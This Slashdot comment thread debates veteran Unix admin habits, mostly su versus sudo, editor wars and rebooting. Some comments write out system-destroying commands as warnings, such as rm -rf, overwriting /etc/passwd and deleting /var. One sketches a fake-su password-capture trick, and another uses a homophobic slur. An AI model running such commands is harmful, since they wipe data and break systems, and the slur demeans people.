Slashdot Mirror
Common Traits of the Veteran Unix Admin
snydeq writes "Deep End's Paul Venezia offers a field guide to understanding your resident Unix veteran, laying out the nine traits common to this grizzled, hardcore set. From not using sudo, to wielding regular expressions like weapons, to generally assuming the problem resides with whomever is asking the question, each trait is key to 'spotting these rare, beautiful creatures in the wild,' Venezia writes. 'If some of these traits seem anti-social or difficult to understand from a lay perspective, that's because they are. Where others may see intractable, overly difficult methods, we see enlightenment, borne from years of learning, experience, and overall, logic.'"
Don't forget the neck beards.
vim? svelt? Puhleez. When not using ed(1), Real Unix vets use Bostic's One True vi, not some fagged-up Vegas showplace of an editor like vim.
wielding regular expressions like weapons
Reminds me of:
Some people, when confronted with a problem, think "I know, I'll use regular expressions." Now they have two problems.
- Jamie Zawinski
Things you think are in the Constitution, but are not.
Lemme just email this to all my friends with the subject line "If you know someone like this pass it on LOL"
Real Unix admins would be reading this post in lynx.
Guilty as charged to all nine counts...
We also throw a nickel at the rookie Windows sys admins and tell them, "Here's a nickel. Get a real operating system, kid."
sed -e 's/Chuck Norris/Rajnikant/g' joke > fact
Butterflies - and no, emacs is not an option, unless you code the command yourself and store the code in your deepest vault.
Questions raise, answers kill. Raise questions to stay alive.
There's not a single mention about them scent marking their turf.
"National Security is the chief cause of national insecurity." - Celine's First Law
http://ozguru.mu.nu/Photos/2005-11-11--Dilbert_Unix.jpg
Someday we'll hit the human carrying capacity. And the band will just play on.
We will never (ever) admit we are at fault
If an off-by-one error results in the monthly report generation failing if the last day of the month falls on a saturday, then we'll quietly fix the code and tell the user this was a one-off problem most likely caused by incorrect user input but if it ever happens again to let you know
seriously. I guess real old-school UNIX sysadmins just log in as root, or setuid everything. that's the mark of a grizzled old coot that uses logic!
You're wrong, the article is right.
Samsung took back my unlocked bootloader because Google wants me to rent movies. They're both evil.
Of course. There's always "sudo -s", but that requires more keystrokes. If you're doing something like editing a bunch of configs in /etc typing sudo at the beginning of every single line gets a bit old. (Besides, if you're paying for all that backup media, you might as well use it every now and again).
Working...
Using sudo exclusively is like bowling with only the inflatable bumpers in the gutters -- it's safer, but also causes you to not think through your actions fully.
That is just stupid. System destroying actions are system destroying actions. Sudo or su or runlevel 1, if you are not thinking out your actions, you have no business executing that action. Both commands can get you into the same trouble.
Agreed. The article seemed to be describing old hackers, hardly the methodical, *sudo using* people with the talent to be actual admins. Granted, there's a lot of overlap, but they are far from the same thing.
Really? When your job is entirely about being root, sudo is just getting in the way. I happen to have run systems in a serious environment, and we never used sudo. I would say if you have something to do that ISN'T root, you sir are teh nub.
You're both wrong, I'm right.
Unless unix veteran is a code word for idiot of course.
Take #9: "Our thinking here is there's no reason why a reboot should ever be necessary other than kernel or hardware changes, and a reboot is simply another temporary approach to fixing the problem.". When a run away program fills the disk or sets off the OOM killer then after fixing the problem itself rebooting is the obviously wise thing to do - who knows what random proceess got put in a bad state by the resource exhaustion best reboot and get everything into a known good state.
And of course have fun when the machine does need to be rebooted for a "kernel of hardware change" and some vital service doesn't restart because no one checked that the damn init script was enabled.
That was creepy to read. I'm guessing a few of you will understand what I mean.
Me also for all 9 counts if you just substitute 'sudo -i' for 'su -'. Frightening.
leather-dog muksihs
Blog: @muksihs
You just prefix each command with "sudo". It becomes a reflex. You've essentially turned your regular account into a root account. You no longer really have a regular account.
That "#" prompt was invented for a reason: it provides a reminder. While you certainly could be oblivious to such a reminder, that is less a risk than always being one thinko away from doing root actions while feeling all safe and usery.
Better is a separate login window, keyboard, seat, font, color scheme, desktop, etc.
Whatever.
-- I ignore anonymous replies to my comments and postings.
Long before you become "grizzled", you learn time. You learn calendars. You think in UTC. All the jobs happen on UTC. With the correct leap years plotted out for the next thousand years.
That's because you ran into that problem during your development and you learned it and kept your code.
Seconded. Obligatory car analogy:
Relying on sudo to keep you safe is like relying on your car's bumpers to avoid injury. You'd have been better served just watching the f**king road.
Where the analogy breaks down, is that bumpers are still a good idea even if you're most cautious. There are other morons sharing the same road.
Your shell, however, is yours and yours alone for the lifetime of the process. If you don't trust yourself not to type something stupid, you shouldn't be working as an administrator. Period. Sudo was never intended to function as training wheels. To imply its necessity is to claim you, the junior admin, knows better than the senior admin. When you've done your trench time, you too will trust yourself.
Sudo's proper place is for developer and QA commands that happen with annoying frequency should an admin have to get involved.
http://www.jerkcity.com/jerkcity526.html
The truly enlightened split the difference and "sudo su -". Your actions are logged, you're accountable, and you still get your freedom.
<xml><I><am><so><damn>Web 2.0</damn></so></am></I></xml>
A real Unix admin wouldn't be posting as AC.
"To prevent this day from getting any worse, I'll just read ERROR as GOOD THING" 1GJU8xLuDKDxEs4KLf8fAGyptoDsqvEsBT
The reason that Unix SAs don't like to reboot is deep seated in the history of Unix running decades ago on hardware for which a reboot cycle meant interrupting potentially dozens of people all sharing the same machine for a sequence that might take 10 to 20 minutes if nothing went wrong. Rebooting was correctly viewed as something to avoid whenever possible.
Windows was not engineered for long uptimes until NT 4.0 and is a johnny-come-lately OS in comparison. Windows didn't run on significant (read: capable of simultaneously supporting more than one user in a non-trivial way) hardware until, what, 1994 or 1995? Meanwhile Unix and its intellectual antecedents had been supporting multi-dozen-user installations for nearly three decades.
When there's only one user, rebooting isn't nearly as big a deal as when there are 20, 30 or more. That dichotomy alone drove the reliability of Unix, and the the lax attitude of Windows.
Personally, even though rebooting my desktop Linux computer with it's fast processor, SSD and RAID disks, takes well under a minute, I still don't like doing it. There's something wrong: It shouldn't need to be done. If I'm rebooting for a non-hardware related issue, it's because I'm being sloppy.
Put my fist through my alarm clock with its ding-dong death inside my ear. - The Blackjacks.
You've already ticked me off by wasting my time.
Link to the print version next time: http://www.infoworld.com/print/151276
I prefer my password. It's just a PITA that changes daily. alias s='sudo -i'
Same result as "su -" but with less typing.
Yes, root's password was set / changed. It's insanely long. I like it that way.
PS: this /. interface sucks now :wq
When your job is entirely about being root
I somehow doubt that. Does every process you create need root privilege? Do you ever use grep (or awk or sed) and do you really need to run it with root privileges?
With sudo you can selective run commands with root privilege.
sudo su?
I'm god, but it's a bit of a drag really...
Su to root, solve the problem, get out. I don't see what isn't methodical about that?
The article certainly isn't suggesting that one should surf the web or IRC as root...
The popular Linux community is so tied up in what Canonical has deemed "best practice" that it no longer trusts itself with the level of control it brags to Windowsland about having.
Nope.. only the fact you sudo su -'d was logged. nothing after that was.
Sudo everything provides an actual audit trail to the actions taken by an admin. which is essential in environments where governance and acountability are required.
You're not a real unix admin unless you've written a compiler in awk or emacs in sed.
Support SETI@home
This guy lost me with the first thing on the list. Going directly to root is great - if you're a noob in mom's basement. Nobody who has ever run systems in a serious environment mucks around as root as an alternative to something like sudo.
Contrary to the article's stated rationale, there is a real reason not to use sudo: If you run some malicious code as the wheel user, it can modify the wheel user's environment. Then the sudo command runs in the wheel user's environment with e.g. a malicious $PATH and you go from having a compromised user account to having a compromised system.
Incidentally, this is also why you should never run "su" and always run "/bin/su -".
That's why generally only the sysadmin would have root. Other users that may need root once in a while (for whatever reason) are given specific sudo permissions. And if you are at a site that has multiple sysadmins who share responsibility for a group of servers, then auditing is simple. You ask the group "who did it". That's probably trait #10, deep integrity. Because a good sysadmin knows that if he is caught trying to hide a mistake, he will probably never regain the company's trust again.
http://www.theregister.co.uk/odds/bofh/
I am the unwilling control for my Origin.
Really. I consider it a sign of inexperience and an indicator that the admin has never had to clean up after someone else screwed something up as root. That may be the case if you are super meticulous and you've been the only admin everywhere you've been, but no serious environment only has one root level admin and I have yet to meet anyone who was really good and super meticulous all the time.
I'm doing sysadmin, maybe one out of 20 commands I type *have* to be run with root access. If I am doing them all as root then there is a much greater chance of making a mistake and committing that system destroying action or, even worse, doing something subtly bad that nobody knows about until later when it's too late. It also makes me think twice (instead of just once) before executing that command as sudo.
Sudo logs commands that were run, by whom, and when. Even if I didn't care about whether I was root all the time or not, having a log of what was done with that access can be an indispensable tool when doing system troubleshooting. It's also a handy way of telling if someone screwed something up or if j00 wuz pwndz.
To me, running around as root and not using sudo is like using vi to look at a config file you have no intention of editing or similar. It's too easy to slip up and do something wrong once you get "in the groove". Add a page at 4am to that or a situation where you're at the tail end of a 30 hour emergency maint and it's beyond easy to screw things up.
Eh, close enough.
<xml><I><am><so><damn>Web 2.0</damn></so></am></I></xml>
The only admins I've seen that are allergic to rebooting are basically children who are new to a paying job. Most experienced Unix admins I've known have no problem with rebooting, when they feel it's the most appropriate option. They're pragmatic, above all else.
#DeleteChrome
Uh, sudo isn't a tool, its a wrapper to audit trail your ass and limit what you can run. The only reason to have it apply to admins is to watch them. Otherwise it just gets in the way. Its not like it adds something to the experience for anyone. It doesn't keep you from making a mistake, it just keeps you from running commands that someone else has decided that you don't need access to. That's like saying that locking away guns prevents you from shooting yourself in the foot. Its does... unless you are in the Army and your job is to tote the thing around on patrol for days at a time. There are simply some times in life where you have to know how not to shoot yourself in the foot.
The only place I ever had it applied to me was when I worked in the financial services industry, and I understood their position. Even then, the sudoers file was so badly conceived that, had we wanted to, it would have been a simple matter to get a root shell. Its difficult to keep out the very people that you need to keep the system running. I'd argue that it is generally not even worth trying it at all unless a very unforgiving regulatory commission is breathing down your neck.
If you don't know how to use root access in a way that doesn't screw up your box, you don't deserve to have a job as an admin, period. Its not like its easy to bumble around on a command line and screw something up. There's really only one really easy thing to do that will potentially demolish a box and that's rm -rf * in the wrong directory and it is a rare sudoers file indeed that prevents a sysadmin from running 'rm'. You could argue a reboot or shutdown on a box with something like a database might be a problem as well, but after that, you actually need to put some effort in screwing up your host with the other commands. Even format/fdisk requires you to think about how you are going to reformat your disk.
I use sudo a lot... to make sure developers can't screw up boxes and do cute little tests in production. But my rule of thumb as an admin is that sudo is something that is inflicted on someone else.
Yes. If it doesn't need to be run as root, then it is not my job. You need to grep a video directory for every instance of 'justin bieber"? Go ask someone who has nothing better to do and is thrilled to wield the power of grep. I will be busy mocking Winders admins and tossing them quarters.
What's this 'we'? You obviously haven't been around long enough to be in 'we'.
He makes a pretty good point that going to root forces you to think through your actions. I don't see the same "everything I now do carries a consequence" mentality with frequent users of sudo.
Literalism isn't a form of humor, it's you being irritating.
"Where others may see intractable, overly difficult methods, we see enlightenment, borne from years of learning, experience, and overall, logic."
Really? Rather than doing something a simple way, over the years veterans learn that complicated and difficult is better? K.I.S.S! There's even an acronym for it!
This sounds like it was written by a junior admin or programmer who's in awe of what some of the more seasoned vets are doing.
Agreed. I found out about sudo, and I fell in love with it. When I started using OS X, I think I still enabled root and used su. By a year or two later I'd converted to sudo.
My blog: http://www.seebs.net/log/ --- My iPhone/iPad app: http://www.seebs.net/seebsfrac/
Ok, you win. I am inexperienced and have never had to clean up after other root users.
A real Unix admin wouldn't be posting as AC.
Unless, of course, he's avoiding work and he's posting AC while reading slashdot in lynx on the fail-over db server.
In which case of course he's both an admin and the BOFH.
Damn_registrars has no butt-hole. Damn_registrars has no use for a butt-hole.
Of course, any tool, be it "su(1)" or "sudo(8)" can be used, and it can be abused. Everyone I know who ever runs systems in a serious environment uses multiple less-privileged users to segregate subsystems, so that you can only kill one of them at a time. In my own work, I *never* use sudo from the command line. I do use it in scripts, and I mean scripts written in several languages. I use setuid as seldom as I can, with *lots* of armor around the API to prevent trouble. Indeed, "su -ul " is my most common entry into a production, or development, subsystem. Looking at logs is about the only reason I use root anymore, because that's the default user for /var/log/*...not my call.
What, they've built Angry Birds into emacs now?
The problem with veteran Unix admins is they never get first post.
That's because the veteran Unix admins are too busy running their Perl script to mod down "first post" posts.
And since you can't moderate and post to the same discussion (well, actually the veteran Unix admins can probably get around that one), well, you know....
Somehow I don't see most vi-using folks looking down on those who prefer Emacs.
Google "vi vs emacs holy war" or similar.
Literalism isn't a form of humor, it's you being irritating.
A long bearded Linux wizard doesn't have sudo installed on his system. Come on.
Why "sudo -s" instead of "sudo -i"?
That works fine until you have 30 sysadmins... because you have 1500 systems in your environment.
Really.. sudo su - is not appropriate in serious environments at scale that need to meet strong AAA and governance requirements.
vim? svelt? Puhleez. When not using ed(1), Real Unix vets use Bostic's One True vi, not some fagged-up Vegas showplace of an editor like vim.
That's like saying Real Unix vets still use telnet and rsh to remotely administer machines. Sometimes it's nice to be able to move up and down lines without having to leave edit/write mode. vim is used by Real Unix vets who have kept up with the times, just like ssh. Only washed up has-beens don't learn to eventually use better tools.
"sudoedit" is underappreciated.
And yes, it's extra keystrokes, but most of them are on the home row, and it unites two steps, "sudo" and "vim", into one.
Assuming you've defined EDITOR, of course.
Somehow I don't see most vi-using folks looking down on those who prefer Emacs.
Clearly you haven't used vi long enough ;)
Damn programmers and their butterflies, the bane of a real sys admin.
I don't look down on people who use Emacs... I just wonder why they would for sys admin work. Vi is fast, lets you get right to where you want to edit, and lets you make point changes and then gets you the hell out.
Emacs is fine and all, and I've used it for things like writing a longish script or two, but vi is faster and more than powerful enough to get the job done. Its like opening a word processor when all you need to do is edit some unadorned text.
Thinking out one's actions often involves taking reasonable precautions to minimize the dangers of a mistake.
You don't just leave the root prompt lying around where someone can spill "rm -rf *" on it.
Why "sudo -s" instead of "sudo -i"?
su su sudio?
[UID-HeinzIntel]
Su to root, solve the problem, get out. I don't see what isn't methodical about that?
By using sudo, you get to skip the last step.
And yes, it's extra keystrokes, but most of them are on the home row
By most you mean exactly half?
errr less than half. Damn this beer is good. :-)
We use sudo to assign specific commands to people. Otherwise, there's not much use (in fact, it prevents one more level of protection for the server; I like having su - require a different password than what I logged on with). Also, if I would ever be forced into using sudo on a regular basis, I'd need to make it always ask for my password. The password caching mechanism catches me off guard occasionally, and I start typing my password on the command line out of habit. Bad UI choice.
These days, how often is it the case that anyone who isn't an administrator or an admin-in-training is going to use "grep" at a command line?
bullshite. I've been syadmin for 16 years, you NEVER get on as root unless stuff is seriously broken. if you don't know how to properly use ACLs, SELinux contexts, etc - then you're not a sysadmin, you're a hobbyist. No serious, experienced UNIX admin would spend more than 1% of their time as root.
This guy lost me with the first thing on the list. Going directly to root is great - if you're a noob in mom's basement. Nobody who has ever run systems in a serious environment mucks around as root as an alternative to something like sudo.
Nonsense. Su is much simpler software and much less likely to have security vulnerabilities. Sudo has had many. Allowing the 'sudo' binary to be setuid root in a serious environment is considered a major risk. The 'su' binary is much simpler code, and slapping the setuid bit on it is considered much safer. Well, on BSD 'su' binary is extremely safe. On a GNU/Linux OS, system's setuid su might be linked against a nightmare called GLIBC, but then sudo would be also. Sudo has the issue of 'subtle/sneaky ways around' any configured policies. And sneaky ways to gain sudo permissions not assigned by policy.
Assigning full Sudo privileges to ANY user is a serious security risk, since you have reduced the number of passwords that must be guessed to gain full root privileges to one password, because sudo requires a password that is the same as the user's login password. The security of requiring knowledge of the user password and separate root password is considered stronger; when you disable root login and require wheel/admin group membership to 'su'. If you assign full sudo privileges to any user then only that user's password is required to gain full root access, which is a reduction in root authentication security strength.
Also 'idle timeout' for root logins is ineffective when sudo is used. If a third party gained access to any logged in ssh session they can run sudo commands; 'sudo command timeout' can be defeated by merely staying logged in until the legitimate user logs in somewhere else and runs a sudo command; once any legitimate user types the proper sudo password, ALL terminals/remote login sessions under the same username can use any 'sudo' command without a password reprompt, due to the way sudo is designed.
Su is used in serious environments all the time for the purpose of system maintenance and is considered preferable to sudo for such purpose --- hardly anyone ever even imagined using sudo for that purpose until 5 or 6 years ago. Sudo is a relative newcomer, not installed by default on most systems, and the purpose it was created for is misunderstood if you suggest actual admins use it to perform commands. Sudo is for enabling non-admins to perform some tasks that require UID 0 privileges, under rules established by the system admin; that is the reason the Sudo tool was created, its purpose for existing, and it has nothing to do with the root/sysadmin performing their own duties which actually require root.
That is 'sudo is for partial roots / guest root users, "guests" who are to temporarily have root access but not be one of the persons entrusted with the root passwords.
If you don't login to the system to perform administrative tasks, it is better to simply login as a normal user and then 'su' when you need it. That way you have to know two different passwords to do things as root; which is strong security.
My environment has some critical systems with minimal installs, where sudo isn't even installed and won't be; root filesystem being read-only and requiring signed binaries and all. Sudo not even available for some older OS flavors.
It's common to have some paths non-root isn't even allowed to CD into; and this is an improvement for security, but of course sudo is useless here: Hint: there is no such thing as 'sudo cd'; if you think otherwise, you need to lookup what the cd command does again.
The fact of the matter, is, when you are performing system administrative tasks, typing 'sudo' after each command is too cumbersome. Convenience, and speed matter, as they have a direct impact on admin performance and efficiency. Sudo introduces inconveniences that are likely to result in serious system-e
Well said.
By which I mean, the only people likely to actually use "grep" at the command line are those who have the option to use elevated privileges, which is part of the reason why there's a point to telling people to remember not to use escalated privileges unnecessarily.
oh, and another thing - you're so darn leet, that you run X as root? You SSH as root? You type the root password in all over the place? youze got the mad skills, lemme tell ya. If you don't know how to set up access controls for everyone, including yourself, then you're crap. Sure, maybe your massive server farm of 5 doesn't need anything other than you as root, but others of us work in farms of thousands of servers, with dozens of people having root access; I suppose your skills are so leet you don't do auditing, either?
One out of 20? What are the other 19?
Every log, every config, every chmod, damn near every command needs to done as root -I can't even remember clearly the last time I logged into a server and didn't need to immediately sudo su -.
Not being root implies working within my home directory, and that's why we have workstations -where I might sudo to loop mount an iso or something.
On a server, what could I possible need to do that doesn't require root?
Samsung took back my unlocked bootloader because Google wants me to rent movies. They're both evil.
What the hell does Canonical have to do with this? It's not like Canonical invented sudo. They are hardly the only OS (Linux distribution or not) that prefers sudo over su.
I have to go with the GP on this one. It's not that vim is inherently bad, it's just that it's *unnecessary*. It includes tons of features that an old-school admin has no use for. Sure, most of us use it anyway because modern Linux systems usually don't include our good friend vi (it's usually just a symlink to vim), but we rarely use the features that separate vim from vi. Moving in and out of edit mode is second nature. Hell, even using the arrow keys to move around is a needlessly inefficient waste of motion, since the arrow keys are usually far from any other useful key on the keyboard. The first thing we do in vim is turn off syntax highlighting and silently curse whoever keeps turning it back on.
The comparison to ssh is inaccurate as well. We use ssh because ssh gives us clear security advantages over telnet and rsh, and allows us to use one tool where we previously needed two. Any Unix admin worth his salt, no matter how long and luxurious his neck beard, will gladly upgrade his tools to improve his own efficiency or increase security. SSH does both of those things, while vim does neither.
When all you have is a hammer, every problem looks like a nail.
Is it possible there are good uses for both su and sudo?
I was an emacs user for years until I found out that
35,$s/\(.*\)foo\(.*foo\)/\1bar\2/
would be a lisp command, and four parens is enough for me.
That is just stupid. System destroying actions are system destroying actions. Sudo or su or runlevel 1, if you are not thinking out your actions, you have no business executing that action. Both commands can get you into the same trouble.
Even if you do think out your actions, errors are possible. Use of sudo is more error prone as soon as you start keying simple scripts into the shell, because there are actually two shells involved now.. the non-root shell, the sudo command line, and the shell sudo will spawn to process the command requested, which will actually be spawning yet another subshell for each command.
In terms of typing the commands, this is a metacharacter escaping nightmare.
You want to run... for i in /root/*.txt ; do file $i ; done
Oops... sorry... you're going to have to do
sudo -s for\ i\ in\ \'/root/\*.txt\'\ \;\ do\ file\ \$i\ \;\ done
And if you miss a single "\"... well, you'll be lucky if it just gets refused by your shell.
Good luck reading that later, or revising it later
When not using ed(1), Real Unix vets use Bostic's One True vi, not some fagged-up Vegas showplace of an editor like vim.
Indeed.
A particularly nasty vim change is that:
- In vi "u" undoes the last change - even if it was another "u". Hit "u" repeatedly and the screen flips between with and without the last change, making it blink. Useful if a multi-change command may have done something goofy.
- In vim "u" backs you through a history of changes. Handy sometimes. But to redo you have to "control-r". Forget about blinking the screen to use your eye's motion sensors to spot the trouble. Also watch out for accidentally undoing a bunch of changes just before you close and exit. Oops!
Geez, guys. If you want to add new stuff (like a history to go backward through), don't change the behavior of an existing command. Add another, or at least make it configurable - preferably with the default the old behavior.
Bantam Dominique roosters crow a four-note song. Once you've heard it as "Happy BIRTHday" you can't NOT hear it that way
sudo is for lusers who can't be trusted with full root access, but need to do something that you don't normally let lusers near.
That's funny, using sudo for administration always makes me think of ubuntu, speaking of noobs in the basement.
Seriously though, I don't like giving a regular/admin user easy access to root like that. If my user password is compromised by some means, the sudo thing means root is also compromised. I'd rather have the authentication and environment separation.
4096R/EF7BAFA6 79E1 DF98 D09D 898F 9A11 F6F0 DDDC 23FA EF7B AFA6
mmmmm colorized bash with as dash of dialog.
Uh huh. Okay. How about this?
rm -rf . /
Normal user: "Oh shit access denied, ctrl-c ctrl-c"
Root: "Huh, why is this delete taking so long?"
I would say if you have something to do that ISN'T root, you sir are teh nub.
I agree with the first part, but not this.
If you are not the nub, you drop privileges when you won't need them a while. You setup system services to run as separate non-root users when possible as well.
On server systems where the only logins are for administrative purposes; the primary risks should be the services running on the system anyways. If that's not true, you did something wrong.
And the most likely thing you would've done wrong would be to have a weak password, a weak su password, or an account still active that should have been turned off.
By not using sudo, AND instead using a root password, you can reduce risk from accounts that should have been turned off, through the regular root password changes.
Every root password change automatically invalidates the access of anyone who is no longer supposed to be root. On the other hand... 'sudo' bypasses root password security, and gets stored in a flatfile database that might not be looked at or audited all that often.
This guy lost me with the first thing on the list. Going directly to root is great - if you're a noob in mom's basement. Nobody who has ever run systems in a serious environment mucks around as root as an alternative to something like sudo.
Wrong-o.
You work as a user until you have to get into the guts. But then you go to full-bore root because most of what you do there takes more than one command, and qualifying every command breaks your concentration.
The only thing they got wrong was the solution of changing the root password and using su - from then on. My preference for riding the lightning on a sudo-based configuration (like baseline ubuntu) is the far less intrusive "sudo csh". The more hardcore would probably prefer "sudo bash".
Bantam Dominique roosters crow a four-note song. Once you've heard it as "Happy BIRTHday" you can't NOT hear it that way
With sudo you can selective run commands with root privilege.
You can do that with 'su -c' too, and it's more secure, since you have got to know the root password.
especially ugly if you have more than one admin for a machine, such as a night crew or something.. In fact, I think it might be against a few rules on accountability for certain situations.. they do not want to hear:
"Hey guys, who was running as root last thursday at 3pm?"
What are we going to do tonight Brain?
Which is better..
su root
apt-get install whatever
exit
or simply typing
sudo apt-get install whatever
No one is talking about relying only on sudo. It's just another tool you can use to protect yourself. Your response is as dumb as saying seat belts make drivers take more risks.
For example, I use virtual desktops. The first one is reserved for stuff involving root. On that desktop I open one xterm for root commands, and several others for related stuff such as checking man pages. I immediately make the non-root windows big, reducing the temptation to read man pages as root. For the root xterm, I do "exec su -" and keep it small.
I don't use any of those windows for random user stuff. (not even the non-root windows) I switch to a different desktop when I am not doing root-related actions.
If I were more serious about safety, I'd eliminate both sudo and su. It is unsafe to elevate privilege. The safe choice is a direct login, preferably on the bare non-X11 Linux console. (do Alt-Ctrl-F2 if you're unfamiliar with this) Hit the SAK sequence to be extra safe. An ssh login directly as root from a trusted client is a tolerable alternative, at least if you use pre-shared key information.
If you leave your terminal unlocked with a root shell open, it's your fault when someone hacks it. Sudo caches the fact that you've typed your password, and anyone who knows to type 'rm -rf *' in a root shell probably knows to type 'sudo rm -rf *' as well. The only thing sudo prevents is people who don't know what they're doing from doing something bad by accident, and people who do know what they're doing from doing something important quickly...
Seriously. Vi for quick and dirty. Emacs for longer and complex. Ksh/Perl for automated and repeatable...or if I have to do something more than, say, say five times... You get the picture. We keep many tools handy and polished. Each has a purpose. Other than that, the list is pretty accurate - speaking with 25+ years experience *as* one of those admins, as well as system/application programmer. :-)
It must have been something you assimilated. . . .
The trick is one never closes Emacs down - so it's always there. Just flick to the window with your Emacs, edit the file, save it, and go back to what you were doing. Those "editor AND the kitchen sink" jokes are very true, but you only have to open it once.
Even better, using TRAMP you can be running your Emacs as your normal user, and use the sudo method to edit a system config file - avoiding running the editor as root. Pretty nifty, eh?
I'm proud of myself - two holy wars (Vi/Emacs and su/sudo) in one post!
So there's another sign of a veteran Unix admin: bitching about Canonical (or anything less than 20-30 years old) even when they're nothing to do with the complaint...
bang goes my karma... again...
Sudo everything provides an actual audit trail to the actions taken by an admin. which is essential in environments where governance and acountability are required.
Uhuh.... unless you 'sudo vi /some/file.txt'
And then realize, while you're editing... hell.. I need to do X other thing...
So without exiting vi, you enter :!bash
Do that thing as root, and type exit to return to VI.
I would say you're wrong... sudo doesn't log everything. Sudo just logs the name of the process started; not actions taken by that process.
System admins commonly use scripting for many tasks, and sudo does not log when actions are taken from STDIN.
The only real "logging of admin actions" are facilities such as the kernel auditing daemons. Or actual logs of the terminal session, which are in fact more reliable than some untenable kludge effort to log actions by spawning a sudo process for every command.
You'll need to rewrite 'sudo' to be THE actual shell (including for scripting purposes) before it can be the least bit effective at that.
sudo bash
I run it as root, for weeks at a time. Who needs vi?
Real admins don't make mistakes.
Or, at the very least, they have full backups.
I dare you to list 10 *Administrative* tasks that don't require root privileges.
Seriously, if you're not starting or stopping a service, editing configs that only root can edit, or reading logs that only root can read -why are you even logged as anything but a user -placing you squarely outside the context of this conversation?
ACL's and SELinux contexts are not the point, we're not talking about uploading changes to the corporate website. We're talking *specifically* about sudo (root) vs sudo su - (root).
Samsung took back my unlocked bootloader because Google wants me to rent movies. They're both evil.
Contrary to the article's stated rationale, there is a real reason not to use sudo: If you run some malicious code as the wheel user, it can modify the wheel user's environment. Then the sudo command runs in the wheel user's environment with e.g. a malicious $PATH and you go from having a compromised user account to having a compromised system.
Sudo can reset the environment. However, if you have a malicious PATH you have already lost, perhaps. unless you normally type /bin/su to invoke su. Well, you see, a malicious PATH can point you to a fake 'su' or 'sudo' binary that will capture the password as you enter it, and spawn a headless shell to use the captured credentials, become root, slap setuid on the binary
Defaults env_reset
Defaults env_keep = "DISPLAY HOSTNAME USERNAME PS1 PS2 MAIL"
Defaults requiretty
Oh yeah? Are they really gung ho to reboot a monstrosity with dozens of GB of RAM, many terabytes of disk, and dozens of virtual machines it it? Because it can easily take 15-30 minutes to get the shole shebang fully back up.
Malicious code could mess with your shell so that even "/bin/su -" doesn't do the right thing.
The proper solution is direct login as the desired user. If using SE Linux, also specify the correct role and MLS info at login.
Use the bare Linux console. If you absolutely must be remote, use a trusted client with pre-shared ssh keys or a hard-wired serial line.
That article is total bull! I, for example, am nothing like that and I admin Unix systems all the time. In fact, I'd say that article describes a bad, stuck with old crappy methods, Unix admin.
More like a thousand problems, if sed goes wrong.
This.
See trait #4.
Never answer an anonymous letter. - Yogi Berra
Except, of course, in the time before sudo - you're probably too young to remember. :-)
Seriously. I was an admin on many production systems (including Cray) w/o sudo. Now, I use both "sudo" and "sudo -i" depending on the task. Oddly, we're actually not allowed to use sudo on some of the government systems I currently help admin - go figure.
It must have been something you assimilated. . . .
Yeah, except in companies where shared passwords are not allowed, including root.
Never answer an anonymous letter. - Yogi Berra
seriously. I guess real old-school UNIX sysadmins just log in as root, or setuid everything. that's the mark of a grizzled old coot that uses logic!
Or, as in the case of a server I inherited, put everything -data, source code, binaries and scripts- in one user directory, then log in as that user. That way, they don't FUBAR the whole system when they log in, just the stuff that matters.
Crumb's Corollary: Never bring a knife to a bun fight.
Well, doesn't that make me feel inadequate. I like vim syntax highlighting. Makes config files easier to read. And I still use telnet, mainly for connecting to remote http and smtp servers. Great for troubleshooting issues, or even finding out what type/version a webserver is.
For sure, a REAL unix admin uses ex, not the VIsual editor. how are you going to edit the config file using vi if your only output is a line-printer - yes, i know, that does not happen often, but to me using ex at least one time saved me the effort of carrying the monitor into the next room to edit the config file to get the machine with the printer back online on the net.
Sudo everything provides an actual audit trail to the actions taken by an admin. which is essential in environments where governance and acountability are required.
Provided you don't trust it to actually do those things. If someone can run 'sudo su -' then they own the system and can make the sudo log files say whatever they want, including removing the fact that they ran 'sudo su -'. Ditto 'sudo emacs', 'sudo dd', 'sudo mv' or any other command that as root will execute subsidiary commands, write specified data to specified files or any various other routes to a root shell. And in most cases you don't even need to muck about modifying logs: Just 'sudo emacs /etc/something/innocuous' and nothing untoward appears in the sudo log but you can run unlogged commands from within emacs, etc.
sudo can be useful in situations where you have a very limited subset of commands that a user should be able to execute as root and each will run as root without allowing the user to achieve a root shell. The trouble is that most commands that aren't already setuid aren't especially designed that way, so that scenario doesn't happen very often.
I guess you could say it's useful if you want to have some kind of faith-based auditing mechanism where you assume your sudoers aren't malicious and therefore won't modify the logs or work around the logging. But if you trust your sudoers that much then why do you need to audit them? It smells like a mechanism to provide the appearance of auditing so that someone's PHB can be satisfied that auditing exists, even though you can't really trust the audit log to be complete or correct.
here's really only one really easy thing to do that will potentially demolish a box and that's rm -rf * in the wrong directory and it is a rare sudoers file indeed that prevents a sysadmin from running 'rm'. You could argue a reboot or shutdown on a box with something like a database might be a problem as well, but after that, you actually need to put some effort in screwing up your host with the other commands.
Well, there are thousands of ways to really muck up a system.
Do NOT try these at home
tee /etc/inittab
echo newuser:x:1234:1234:New user:/usr/home/newuser:/usr/bin/ftponly > /etc/passwd
rsync -avl --delete user@buildsystem:/usr/bin/ /usr/
rm -rf /var /log/debug*
chmod 777 /tmp
He makes a pretty good point that going to root forces you to think through your actions. I don't see the same "everything I now do carries a consequence" mentality with frequent users of sudo.
The problem is we have people casting opinions based on how they think people will act differently while using sudo VS su.
Possibly cognitively biased due to how the person who has the opinion personally reacts, whether they actually are a sysadmin, and how much they actually use sudo.
Until someone performs an actual scientific study... claims that people are more careful when using 'SU' or more careful when using 'SUDO' don't hold much water.
All we can really definitively say is SUDO offers a warning message for first time users, which may have an influence on how cautious first time users are when using root privileges from the CLI.
I wonder how much effect it has on tinkering behavior... are people who use sudo less likely to tinker with their Linux desktop systems. Possibly this causes them to not become as familiar with Linux as 'SU' users are.
Possibly tinkerers/hackers just 'sudo su -' anyways
Sometimes you need to make a mistake to learn most efficiently
sudo ed /dev/mem
(follow with a bit of editing to change the inode number of the working directory in your process structure)
You can use "sudo vi /dev/mem" or even "sudo gdb /dev/mem" if you're a wimp.
On a server, what could I possible need to do that doesn't require root?
"Man, if you gotta ask, you ain't never gonna know!"
For my file server 159 out of the last 500 commands featured sudo in them. On my database server, the number is 199.
On one of my main application servers, the user account for the service itself isn't even in /etc/sudoers. All of the maintenance and administrative tasks are done without resorting to extra permissions.
Crumb's Corollary: Never bring a knife to a bun fight.
Doh!
If you leave your terminal unlocked with a root shell open, it's your fault when someone hacks it.
True.
